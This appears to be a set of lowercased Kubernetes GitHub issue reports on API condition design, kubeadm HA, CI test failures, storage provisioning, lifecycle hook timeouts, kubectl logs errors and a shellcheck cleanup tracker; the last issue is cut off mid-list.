i've surveyed kubernetes api types to see how status conditions are used, and evaluated their usability as well.\r \r   method  : examine 54 kubernetes api types, spanning core types, incubator project, and operator  tpr/crd  types.    detailed data  https://docs.google.com/a/google.com/spreadsheets/d/e/2pacx-1vsu-kunrkl_ash4cfufhbnucue-o-hkpmnqoslvsu-hh9a0cxqt-o8czjiojyewckguinm9_dso-syd/pubhtml .  deeper examination of condition subfield on 14 conditions across 4 api types.\r \r   goal  : see whether  status.conditions  is useful and how used.\r \r   survey findings  :\r   -  status  is widely used across kubernetes types.   half of the types surveyed have  status .\r   -  status.conditions  is not widely used.   18% of types surveyed have  status.conditions .\r   -   ready  is the most common condition type for  status.conditions .  \r   -  only 5 types have a condition type with a meaning other than  ready .  \r   - in many cases, there are non-condition status items that convey some of the same information as the conditions.\r   - most  .status.condition  types do not use the reason or message fields. \r   - of those that do, the reason often does not contain additional information beyond what can be inferred from type and status.\r   - of those that do, all but one have reason and message which contain the same information.  one had some additional information in message  the intended use of the field .\r   - times  probe/update/transition  were not used by 2 of the 4 types with conditions that were closely examined.\r   - some conditions that are about readiness do not provide reason or message\r \r \r   usability issues with conditions  :\r - a condition is verbose: it takes 4 lines, whereas a normal k-v pair in  status  can express the main thing  whether the condition is met  in 1 line.   some status stanzas don't fit on a screen  let alone in a ui card . \r - because it is in a list rather than a map, and information is spread across two lines, it is a lot harder to extract  condition using common tools like  grep ,  awk ,  jq  or  kubectl -o jsonpath ,  compared to single k-v pair  status  items.  source code to evaluate truth of a condition is also verbose compare to plain fields  search array vs lookup . \r \r \r   possible conclusions  :\r   -  all of those 5 types that do use conditions  other than ready  were implemented in part by very early project members.  these people were involved in the discussions about the  conditions  type and so baised towards using it.\r   - many other types have been added since then, and nobody has followed the convention of using a list of several conditions and most don't use conditions at all.  this suggests that most people don't find them useful, and  none  find it useful outside of readiness.\r   - readiness condition might be a generally useful concept.    it is discussed in these issues  1899 and  34363 .  it does not appear to strongly require the other fields of conditions, though.\r \r \r   possible next steps  :\r   - we could make it official that use of  conditions  is not recommended for new types.\r   - when we move existing types to new stable versions  such as moving the core controllers to  apps/v1 , we could drop  status.conditions .\r   -  readiness can be expressed as a non-condition status field.\r   - other status can be dropped or expressed as a non-condition status field.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r i am trying to make kubeadm ha as per doc : https://kubernetes.io/docs/setup/independent/high-availability/ run-etcd\r \r from the document it is not clear:\r - if i put the etcds on the masters, and i want to run etcd in the pod, do i need to start the etcd before i run the kubeadm init ? if so , how do i start the etcds as pods? \r \r i tried to create /etc/kubernetes/manifests/etcd.yaml as in the doc, before the kubeadm init, but then the kubeadm init fails with:\r  fileavailable--etc-kubernetes-manifests-etcd.yaml : /etc/kubernetes/manifests/etcd.yaml already exists \r \r  note the document states that this file should exist and need not be generated when etcd collocated with master: \ if you are hosting etcd on the master nodes, this has already been set up.\  \r \r   what you expected to happen  :\r more clarifications in the documentation \r \r   how to reproduce it  as minimally and precisely as possible   :\r try to follow the doc.\r   anything else we need to know?  :\r i am trying to add ha to the ansible project: https://github.com/researchiteng/kubeadm-playbook .\r any additional suggestions are welcome.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.9.3\r - cloud provider or hardware configuration:\r vagrant\r - os  e.g. from /etc/os-release :\r ubuntu 16.04\r - install tools:\r kubeadm\r

just noticed that the latest runs of our 5k-node correctness  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-correctness/88  and performance  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/127  jobs failed during cluster creation due to many nodes being unready.\r \r those nodes seems unready due to  networkunavailable  condition and from one such node's  kubelet logs  https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/127/artifacts/gce-scale-cluster-minion-group-10nx/kubelet.log , i'm seeing such errors continuously:\r \r    \r e0321 08:19:47.409080    1615 kubelet.go:2134  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: kubenet does not have netconfig. this is most likely due to lack of podcidr\r e0321 08:19:52.411336    1615 kubelet.go:2134  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: kubenet does not have netconfig. this is most likely due to lack of podcidr\r    \r \r fmu the cidr allocation is not happening properly for some reason  note that we're using ip-aliases for those clusters, so cloud-cidr-allocator is the one incharge for allocating them .\r \r let me dig up deeper.\r /assign\r \r cc @kubernetes/sig-network-bugs @kubernetes/sig-scalability-misc @wojtek-t @bowei

failing job\r  gce-1.10-master-upgrade-cluster-new  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.10-master-upgrade-cluster-new \r \r    gubernator logs\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new/1422\r \r    triage \r https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new&test=skewtest\r \r  / /  /milestone v1.11\r @kubernetes/sig-testing-bugs\r \r cc @jberkus @tpepper\r \r /assign @bentheelder for triage

 \r after the  test  https://github.com/kubernetes/kubernetes/blob/8770d12494f58f19cd5298853b9749937140e970/test/e2e/storage/flexvolume.go l252  creates the client pod successfully, it waits for pod deletion, and  uninstalls the driver right after. detach could happen after pod is deleted, but because the driver no longer exists, controller manager continuously logs error of this form:\r    \r e0714 22:26:17.376196       1 reconciler.go:241  attacherdetacher.detachvolume failed to start for volume \ flex-volume-0\   uniquename: ...  on node ... : detachvolume.findattachablepluginbyspec failed for volume \ flex-volume-0\   uniquename: ...  on node ... : no volume plugin matched\r    \r \r this could potentially show up as a red herring for other tests. currently there's no good signal to check for successful detach. a temporary fix is to add a short delay. a potential long term fix is to use pv/pvcs instead of inline volumes and leverage pvc protection, but only if we end up implementing a wait for detach before pvc deletion  see https://github.com/kubernetes/kubernetes/issues/65552 .\r \r  /assign

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r create azure disk pvc failed due to account creation failure, this bug is similar to https://github.com/kubernetes/kubernetes/issues/65845, it's also caused by azure-sdk-for-go upgrade from v1.11.0\r \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r azureuser@k8s-master-17140924-0:/tmp$ kubectl describe pvc\r name:          pvc-azuredisk\r namespace:     default\r storageclass:  hdd\r status:        bound\r volume:        pvc-a843e58f-9c48-11e8-992d-000d3a04338c\r labels:        <none>\r annotations:   pv.kubernetes.io/bind-completed=yes\r                pv.kubernetes.io/bound-by-controller=yes\r                volume.beta.kubernetes.io/storage-provisioner=kubernetes.io/azure-disk\r finalizers:     kubernetes.io/pvc-protection \r capacity:      5gi\r access modes:  rwo\r events:\r   type     reason                 age                from                         message\r   ----     ------                 ----               ----                         -------\r   warning  provisioningfailed     31m                persistentvolume-controller  failed to provision volume with storageclass \ hdd\ : create storage account: ds10e15ed89c5811e8a0a70, error: storage.accountsclient create: failure sending request: statuscode=400 -- original error: code=\ accountpropertyisinvalid\  message=\ account property kind is invalid for the request.\ \r \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11, v1.12\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign

in the docs, it says\r >  if the   hook takes too long to run   or hangs, the container cannot reach a running state.\r from: https://kubernetes.io/docs/concepts/containers/container-lifecycle-hooks/ hook-handler-execution\r \r but it doesn't specify what's the timeout limit.\r \r from doing some code reading, i found that when running an exec command  not sure for http command  the timeout is not set at all.\r \r this runs the  poststart  lifecycle hook:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/kuberuntime/kuberuntime_container.go l167-l181\r \r and then calls the following:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/lifecycle/handlers.go l58-l59\r \r    output, err := hr.commandrunner.runincontainer containerid, handler.exec.command, 0    \r not that  0  is passed for a the timeout - which means no timeout limit.\r \r i tested it with a long  5m  running script - and seems like there is indeed no timeout.\r    yaml\r lifecycle:\r           poststart:\r             exec:\r               command:\r                 - \ sh\ \r                 - \ -c\ \r                 - >\r                   echo 'before' > before.txt;\r                   sleep 5m;\r                   echo 'after' > after.txt;\r    \r \r can someone else confirm this is correct? \r or is there another timeout limit i'm missing here?\r \r thanks\r

let me add an example in order to be clear.  \r \r this is the sceneraio : \r - 1 k8s cluster with 100 nodes \r - 3 different node groups, we add a label with key \ nodepool\  with possible values one,two and three in order to do this grouping  p.e.: nodepool={one|two|three}\r \r my deployment has 3 replicas and i like some constraint rule in order to share out 1 pod in a different nodepool using the label \ nodepool\  added in each node\r \r could be possible?

probably by keeping a history of node status.  this should solve the case where, for example, the node flips in and out of outofdisk because a pod has an image that is big enough to cause the node to go through both of its thresholds.

in  plugin/pkg/auth/authenticator/request/union/union.go  it tries each of the authentication methods in order.  this means that if you pass the admin token using basic auth, then it sends the basic auth information to all configured auth providers.  so, for example, if the admin is authorizing with the cluster's csv-file-based admin token, that password might also be sent to a configured openid identity provider   10957 , who didn't previously know my admin password, but could now learn it.    in all the practical cases i can think of, i trusted the various authentication providers about the same amount.  but i think it is unexpected behavior and it makes me a little uneasy.  a minor improvement would be to document this behavior.    a bigger improvement would be for the client  kubectl  to include a header saying which authentication provider the password or token were intended for.    @liggitt what are your thoughts.

according to the docs _\ deleting a job will cleanup the pods it created\ _ - this only appears to be true when deleting jobs via  kubectl . issuing plain  delete  requests via the api removes the job as expected but leaves any  failed  pods it started untouched. currently i'm just cleaning this up by hand but it'd be nice if this could be integrated into the api.

kubectl tests seem to be passing even if a command fails.\r \r debug and fix this.\r \r cc @janetkuo \r \r

os version：centos7.2\r kube version：1.5\r \r i follow the guide here:\r https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/fluentd-elasticsearch/\r \r it seems everything are running, but there are no pods about fluentd.\r \r    \r   kubectl get all --namespace=kube-system\r name                                        ready     status    restarts   age\r po/dummy-2088944543-7fnrv                   1/1       running   0          43d\r po/elasticsearch-logging-v1-73flp           1/1       running   0          42m\r po/elasticsearch-logging-v1-8r5jk           1/1       running   0          42m\r po/kibana-logging-1631951861-4g95b          1/1       running   0          42m\r \r name                          desired   current   ready     age\r rc/elasticsearch-logging-v1   2         2         2         42m\r \r name                        cluster-ip       external-ip   port s          age\r svc/elasticsearch-logging   10.100.167.113   <none>        9200/tcp        42m\r svc/kibana-logging          10.96.83.238     <none>        5601/tcp        42m\r \r name                          desired   current   up-to-date   available   age\r deploy/kibana-logging         1         1         1            1           42m\r \r name                                 desired   current   ready     age\r rs/kibana-logging-1631951861         1         1         1         42m\r    \r \r    \r   kubectl cluster-info \r kubernetes master is running at http://localhost:8080\r elasticsearch is running at http://localhost:8080/api/v1/proxy/namespaces/kube-system/services/elasticsearch-logging\r kibana is running at http://localhost:8080/api/v1/proxy/namespaces/kube-system/services/kibana-logging\r    \r \r \r also, i can not access the site  http://myip:8080/api/v1/proxy/namespaces/kube-system/services/kibana-logging

https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-federation-release-1-7/ is not running for last couple days, and the last run occurred at june 21  no issue is reported yet :\r \r builds\r 334 2017-06-21 01:29 pdt \r 333 2017-06-21 00:24 pdt took 1h3m \r 332 2017-06-20 23:20 pdt took 1h2m \r 331 2017-06-20 22:15 pdt took 1h3m \r 330 2017-06-20 21:08 pdt took 1h5m \r 329 2017-06-20 19:42 pdt took 1h24m \r 328 2017-06-20 16:28 pdt \r ...\r \r on another hand, https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/logs/ci-kubernetes-federation-build-1.7/ is keeping building the new builds for test last couple days:\r \r builds\r 30 2017-06-26 08:13 pdt took 15m9s \r 29 2017-06-24 15:56 pdt took 15m21s \r 28 2017-06-23 17:54 pdt took 16m7s \r 27 2017-06-23 17:05 pdt took 15m34s \r 26 2017-06-23 14:14 pdt took 18m27s \r 25 2017-06-22 14:44 pdt took 15m39s \r 24 2017-06-21 23:54 pdt took 12m0s \r ...\r \r cc/ @kubernetes/sig-federation-misc \r \r @kubernetes/kubernetes-release-managers @ericchiang

failure cluster  1abdc16c77f928c54461  https://go.k8s.io/triage 1abdc16c77f928c54461        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:1336 jul  6 22:58:04.643: failed to start kubectl command: fork/exec ../kubernetes_skew/cluster/kubectl.sh: no such file or directory /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:1322           failure cluster statistics: 2 tests failed,    28 jobs failed,    381 builds failed. failure stats cover 1 day time range '10 jul 2017 17:23 utc' to '11 jul 2017 17:23 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  kubectl client  k8s.io  proxy server should support --unix-socket=/path  conformance  | 28 | |  k8s.io  kubectl client  k8s.io  proxy server should support proxy with --port 0  conformance  | 28 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-new-master-gci-kubectl-skew | 24 |  11 jul 2017 17:11 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-new-master-gci-kubectl-skew/423  | | ci-kubernetes-e2e-gce-1-6-1-7-cvm-kubectl-skew | 24 |  11 jul 2017 16:39 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1-6-1-7-cvm-kubectl-skew/761  | | ci-kubernetes-e2e-gce-new-master-cvm-kubectl-skew | 24 |  11 jul 2017 16:59 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-cvm-kubectl-skew/433  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | zmerlynn |  k8s.io  kubectl client  k8s.io  proxy server should support --unix-socket=/path  conformance  | | ncdc |  k8s.io  kubectl client  k8s.io  proxy server should support proxy with --port 0  conformance  | | sig/cli |  k8s.io  kubectl client  k8s.io  proxy server should support --unix-socket=/path  conformance ;  k8s.io  kubectl client  k8s.io  proxy server should support proxy with --port 0  conformance  |  </details><br>   current status  https://go.k8s.io/triage 1abdc16c77f928c54461

tracking https://github.com/kubernetes/kubernetes/pull/54867 issuecomment-346254791\r \r the point of this would be to make printer code more readable by adding a new interface   printerfactory ?  to  cmdutil/factory  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/util/factory.go  and implementing it in its own file, effectively splitting printer code from the  builderfactory  interface.\r \r cc @mengqiy @fabianofranz @smarterclayton

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r i'm not able to request the logs of my pods from non master nodes.\r \r example:\r \r    sh\r $ kubectl logs redis-deployment-5697dff764-k6pns -v=9\r \r i0306 09:18:36.559814   24182 loader.go:357  config loaded from file /etc/kubernetes/kubelet.conf\r i0306 09:18:36.581218   24182 round_trippers.go:417  curl -k -v -xget  -h \ accept: application/json,  / \  -h \ user-agent: kubectl/v1.9.3  linux/amd64  kubernetes/d283541\  https://192.168.99.2:6443/api/v1/namespaces/default/pods/redis-deployment-5697dff764-k6pns\r i0306 09:18:36.589393   24182 round_trippers.go:436  get https://192.168.99.2:6443/api/v1/namespaces/default/pods/redis-deployment-5697dff764-k6pns 200 ok in 7 milliseconds\r i0306 09:18:36.589735   24182 round_trippers.go:442  response headers:\r i0306 09:18:36.589956   24182 round_trippers.go:445      content-type: application/json\r i0306 09:18:36.590163   24182 round_trippers.go:445      content-length: 2461\r i0306 09:18:36.590359   24182 round_trippers.go:445      date: tue, 06 mar 2018 09:18:36 gmt\r i0306 09:18:36.590758   24182 request.go:873  response body: {\ kind\ :\ pod\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ redis-deployment-5697dff764-k6pns\ ,\ generatename\ :\ redis-deployment-5697dff764-\ ,\ namespace\ :\ default\ ,\ selflink\ :\ /api/v1/namespaces/default/pods/redis-deployment-5697dff764-k6pns\ ,\ uid\ :\ 673e0953-2112-11e8-a5d9-0238074c8285\ ,\ resourceversion\ :\ 885\ ,\ creationtimestamp\ :\ 2018-03-06t07:45:56z\ ,\ labels\ :{\ app\ :\ redis\ ,\ pod-template-hash\ :\ 1253899320\ },\ ownerreferences\ : {\ apiversion\ :\ extensions/v1beta1\ ,\ kind\ :\ replicaset\ ,\ name\ :\ redis-deployment-5697dff764\ ,\ uid\ :\ 673cc513-2112-11e8-a5d9-0238074c8285\ ,\ controller\ :true,\ blockownerdeletion\ :true} },\ spec\ :{\ volumes\ : {\ name\ :\ volume\ ,\ hostpath\ :{\ path\ :\ /data/redis\ ,\ type\ :\ directoryorcreate\ }},{\ name\ :\ default-token-nxvgw\ ,\ secret\ :{\ secretname\ :\ default-token-nxvgw\ ,\ defaultmode\ :420}} ,\ containers\ : {\ name\ :\ redis\ ,\ image\ :\ redis\ ,\ ports\ : {\ containerport\ :6379,\ protocol\ :\ tcp\ } ,\ resources\ :{},\ volumemounts\ : {\ name\ :\ volume\ ,\ mountpath\ :\ /data\ },{\ name\ :\ default-token-nxvgw\ ,\ readonly\ :true,\ mountpath\ :\ /var/run/secrets/kubernetes.io/serviceaccount\ } ,\ terminationmessagepath\ :\ /dev/termination-log\ ,\ terminationmessagepolicy\ :\ file\ ,\ imagepullpolicy\ :\ always\ } ,\ restartpolicy\ :\ always\ ,\ terminationgraceperiodseconds\ :30,\ dnspolicy\ :\ clusterfirst\ ,\ serviceaccountname\ :\ default\ ,\ serviceaccount\ :\ default\ ,\ nodename\ :\ node-192-168-99-3\ ,\ securitycontext\ :{},\ schedulername\ :\ default-scheduler\ ,\ tolerations\ : {\ key\ :\ node.kubernetes.io/not-ready\ ,\ operator\ :\ exists\ ,\ effect\ :\ noexecute\ ,\ tolerationseconds\ :300},{\ key\ :\ node.kubernetes.io/unreachable\ ,\ operator\ :\ exists\ ,\ effect\ :\ noexecute\ ,\ tolerationseconds\ :300} },\ status\ :{\ phase\ :\ running\ ,\ conditions\ : {\ type\ :\ initialized\ ,\ status\ :\ true\ ,\ lastprobetime\ :null,\ lasttransitiontime\ :\ 2018-03-06t07:47:00z\ },{\ type\ :\ ready\ ,\ status\ :\ true\ ,\ lastprobetime\ :null,\ lasttransitiontime\ :\ 2018-03-06t07:47:06z\ },{\ type\ :\ podscheduled\ ,\ status\ :\ true\ ,\ lastprobetime\ :null,\ lasttransitiontime\ :\ 2018-03-06t07:46:59z\ } ,\ hostip\ :\ 10.0.2.15\ ,\ podip\ :\ 10.67.1.163\ ,\ starttime\ :\ 2018-03-06t07:47:00z\ ,\ containerstatuses\ : {\ name\ :\ redis\ ,\ state\ :{\ running\ :{\ startedat\ :\ 2018-03-06t07:47:06z\ }},\ laststate\ :{},\ ready\ :true,\ restartcount\ :0,\ image\ :\ redis:latest\ ,\ imageid\ :\ docker-pullable://redis@sha256:0bf55b655c461a6f41a7c83c407e1e90be9dbb9aa41831e93cc1a96621530669\ ,\ containerid\ :\ docker://4e0d97e508b57252cdd18e388b06f20e54d6995ed2a852290eea7290d890293d\ } ,\ qosclass\ :\ besteffort\ }}\r i0306 09:18:36.667654   24182 round_trippers.go:417  curl -k -v -xget  -h \ accept: application/json,  / \  -h \ user-agent: kubectl/v1.9.3  linux/amd64  kubernetes/d283541\  https://192.168.99.2:6443/api/v1/namespaces/default/pods/redis-deployment-5697dff764-k6pns/log\r i0306 09:18:36.671694   24182 round_trippers.go:436  get https://192.168.99.2:6443/api/v1/namespaces/default/pods/redis-deployment-5697dff764-k6pns/log 404 not found in 4 milliseconds\r i0306 09:18:36.671723   24182 round_trippers.go:442  response headers:\r i0306 09:18:36.671730   24182 round_trippers.go:445      content-length: 280\r i0306 09:18:36.671739   24182 round_trippers.go:445      date: tue, 06 mar 2018 09:18:36 gmt\r i0306 09:18:36.671745   24182 round_trippers.go:445      content-type: application/json\r i0306 09:18:36.671797   24182 request.go:873  response body: {\ kind\ :\ status\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ the server could not find the requested resource   pods/log redis-deployment-5697dff764-k6pns \ ,\ reason\ :\ notfound\ ,\ details\ :{\ name\ :\ redis-deployment-5697dff764-k6pns\ ,\ kind\ :\ pods/log\ },\ code\ :404}\r i0306 09:18:36.672037   24182 helpers.go:201  server response object:  {\r   \ metadata\ : {},\r   \ status\ : \ failure\ ,\r   \ message\ : \ the server could not find the requested resource   pods/log redis-deployment-5697dff764-k6pns \ ,\r   \ reason\ : \ notfound\ ,\r   \ details\ : {\r     \ name\ : \ redis-deployment-5697dff764-k6pns\ ,\r     \ kind\ : \ pods/log\ \r   },\r   \ code\ : 404\r } \r f0306 09:18:36.672070   24182 helpers.go:119  error from server  notfound : the server could not find the requested resource   pods/log redis-deployment-5697dff764-k6pns \r    \r \r i don't see anything in the logs about that.\r \r   what you expected to happen  :\r \r the logs.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i bootstraped the cluster using kubeadm. i'm not sure how you could reproduce it, here's the config i use  no special config files :\r \r kubelet:\r    sh\r /usr/bin/kubelet --bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf --kubeconfig=/etc/kubernetes/kubelet.conf --pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true --network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin --cluster-dns=10.67.0.4 --cluster-domain=cluster.local --authorization-mode=webhook --client-ca-file=/etc/kubernetes/pki/ca.crt --cadvisor-port=0 --rotate-certificates=true --cert-dir=/var/lib/kubelet/pki\r    \r \r apiserver:\r    sh\r kube-apiserver --requestheader-group-headers=x-remote-group --advertise-address=192.168.99.2 --service-account-key-file=/etc/kubernetes/pki/sa.pub --secure-port=6443 --requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt --proxy-client-cert-file=/etc/kubernetes/pki/front-proxy-client.crt --enable-bootstrap-token-auth=true --allow-privileged=true --requestheader-extra-headers-prefix=x-remote-extra- --requestheader-allowed-names=front-proxy-client --client-ca-file=/etc/kubernetes/pki/ca.crt --kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key --insecure-port=0 --admission-control=initializers,namespacelifecycle,limitranger,serviceaccount,defaultstorageclass,defaulttolerationseconds,noderestriction,resourcequota --tls-private-key-file=/etc/kubernetes/pki/apiserver.key --kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt --service-cluster-ip-range=10.66.0.0/16 --tls-cert-file=/etc/kubernetes/pki/apiserver.crt --proxy-client-key-file=/etc/kubernetes/pki/front-proxy-client.key --kubelet-preferred-address-types=internalip,externalip,hostname --requestheader-username-headers=x-remote-user --authorization-mode=node,rbac --etcd-servers=http://127.0.0.1:2379\r    \r \r   anything else we need to know?  :\r \r related https://github.com/kubernetes/kubernetes/issues/45911, https://github.com/kubernetes/kubernetes/issues/29480\r \r the issue here https://github.com/kubernetes/kubernetes/issues/38178 but i tried with/without  --enable-debugging-handlers=true  which yields the same result.\r \r   environment  :\r - kubernetes version  use  kubectl version  :  v1.9.3 \r - cloud provider or hardware configuration: vagrant\r - os  e.g. from /etc/os-release :  ubuntu 16.04.3 lts \r - kernel  e.g.  uname -a  :  linux master-192-168-99-2 4.4.0-112-generic  135-ubuntu smp fri jan 19 11:48:36 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools:  kubeadm \r - others:  vim 7.4.1689 \r \r thanks!

we have written a cli tool that uses kubectl util libraries. today i was trying to upgrade from kubernetes 1.10 dependency to 1.11 . but i found that i can't compile code after i revendor to kubernetes 1.11 . the problem is that  https://github.com/kubernetes/kubernetes/blob/v1.11.0/pkg/kubectl/util/i18n/i18n.go l107 uses generated code from https://github.com/kubernetes/kubernetes/tree/v1.11.0/pkg/generated package. but the generated code is not committed to the repo. so, after vendoring i can't compile any more. i know committing generated code is not ideal but what other option do i have ? we don't use bazel and will not use bazel. \r \r thanks. looking forward to some solution.\r \r   \r

 \r   what happened  :\r \r i tried to delete a namespace via https://github.com/kubernetes-client/java and was hit by a gnarly error when the lib tried to deserialize the returned body\r \r    \r com.google.gson.jsonsyntaxexception: java.lang.illegalstateexception: expected a string but was begin_object at line 1 column 321 path $.status\r    \r \r so i dug into the api repsonses and found out that indeed something appears to be wrong in the swagger spec + official api documentation. according to  delete namespace docs  https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.12/ delete-namespace-v1-core  the response should be a  status v1 meta object  https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.12/ status-v1-meta . however, the returned response looks actually like this: \r \r    \r 12:24 $ kubectl --v 8 delete namespace aafs-dxbd85\r i1018 12:26:16.686420   10111 loader.go:357  config loaded from file /home/jrudolph/dev/mc/infrastructure/kubernetes/cluster.kubeconfig\r i1018 12:26:16.691791   10111 request.go:874  request body: {\ orphandependents\ :false}\r i1018 12:26:16.691852   10111 round_trippers.go:383  delete https://k8s.dev.eu-de-central.msh.host:6443/api/v1/namespaces/aafs-dxbd85\r i1018 12:26:16.691858   10111 round_trippers.go:390  request headers:\r i1018 12:26:16.691861   10111 round_trippers.go:393      user-agent: kubectl/v1.10.1  linux/amd64  kubernetes/d4ab475\r i1018 12:26:16.691864   10111 round_trippers.go:393      content-type: application/json\r i1018 12:26:16.691866   10111 round_trippers.go:393      accept: application/json\r i1018 12:26:16.924556   10111 round_trippers.go:408  response status: 202 accepted in 232 milliseconds\r i1018 12:26:16.924592   10111 round_trippers.go:411  response headers:\r i1018 12:26:16.924599   10111 round_trippers.go:414      content-type: application/json\r i1018 12:26:16.924604   10111 round_trippers.go:414      content-length: 344\r i1018 12:26:16.924609   10111 round_trippers.go:414      date: thu, 18 oct 2018 10:26:16 gmt\r i1018 12:26:16.924643   10111 request.go:874  response body: {\ kind\ :\ namespace\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ aafs-dxbd85\ ,\ selflink\ :\ /api/v1/namespaces/aafs-dxbd85\ ,\ uid\ :\ 19326fb3-d2bd-11e8-97ef-fa163e607805\ ,\ resourceversion\ :\ 77243\ ,\ creationtimestamp\ :\ 2018-10-18t10:03:44z\ ,\ deletiontimestamp\ :\ 2018-10-18t10:26:16z\ },\ spec\ :{\ finalizers\ : \ kubernetes\  },\ status\ :{\ phase\ :\ terminating\ }}\r    \r \r the status field should be a string of either \ success\  or \ failure\  according to docs + swagger spec, but it's actually an object  status\ :{\ phase\ :\ terminating\ } . \r \r   what you expected to happen  :\r \r the  status  field should be a string. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a namespace, delete it, observe status field content in output\r \r    \r kubectl create namespace aafs-dxbd85\r kubectl --v 8 delete namespace aafs-dxbd85\r    \r \r   anything else we need to know?  :\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : server 1.11.3, client 1.10.1\r - install tools: rke\r

it appears that vsphere used to support dynamic volume provisioning even if datastore being used isn't shared with all vms in the cluster  somewhere in 1.7/1.8 . but in 1.9 - we changed this behavior and now volume provisioning does not work at all if any of datastore being used is not shared between all vms of the cluster.\r \r shouldn't this be considered a breaking change?\r \r cc @divyenpatel @sandeeppissay

what happened  : after  24614 /  68438  we had 283 known failing   .sh  files being excluded from shellcheck lints.\r \r   what you expected to happen  : we should be linting all files. when files are listed in  hack/.shellcheck_failures  we may miss actual bugs in them. initially to get the linter in place we had to list many files there to keep the pr reasonably sized, but ideally we can fix these over time and eliminate this file.\r \r   how to reproduce it  as minimally and precisely as possible   :  hack/verify-shellcheck.sh \r \r   anything else we need to know?  : i intend to continue working on this, eg  72861,  72955, ...\r \r  /assign\r \r     known failing files todo:\r \r \r  -  x  ./build/build-image/rsyncd.sh  done in: https://github.com/kubernetes/kubernetes/pull/72955 \r  -  x  ./build/common.sh  done in: https://github.com/kubernetes/kubernetes/pull/73117 \r  -  x  ./build/copy-output.sh  done in: https://github.com/kubernetes/kubernetes/pull/72955 \r  -     ./build/lib/release.sh\r  -  x  ./build/make-build-image.sh  done in: https://github.com/kubernetes/kubernetes/pull/72955 \r  -  x  ./build/make-clean.sh  done in: https://github.com/kubernetes/kubernetes/pull/72955 \r  -  x  ./build/package-tarballs.sh  done in: https://github.com/kubernetes/kubernetes/pull/72955 \r  -  x  ./build/release-images.sh  done in: https://github.com/kubernetes/kubernetes/pull/72955 \r  -  x  ./build/release-in-a-container.sh  done in: https://github.com/kubernetes/kubernetes/pull/72955 \r  -  x  ./build/release.sh  done in: https://github.com/kubernetes/kubernetes/pull/72955 \r  -  x  ./build/run.sh  done in: https://github.com/kubernetes/kubernetes/pull/72955 \r  -  x  ./build/shell.sh  done in: https://github.com/kubernetes/kubernetes/pull/72955 \r  -  x  ./build/util.sh  done in: 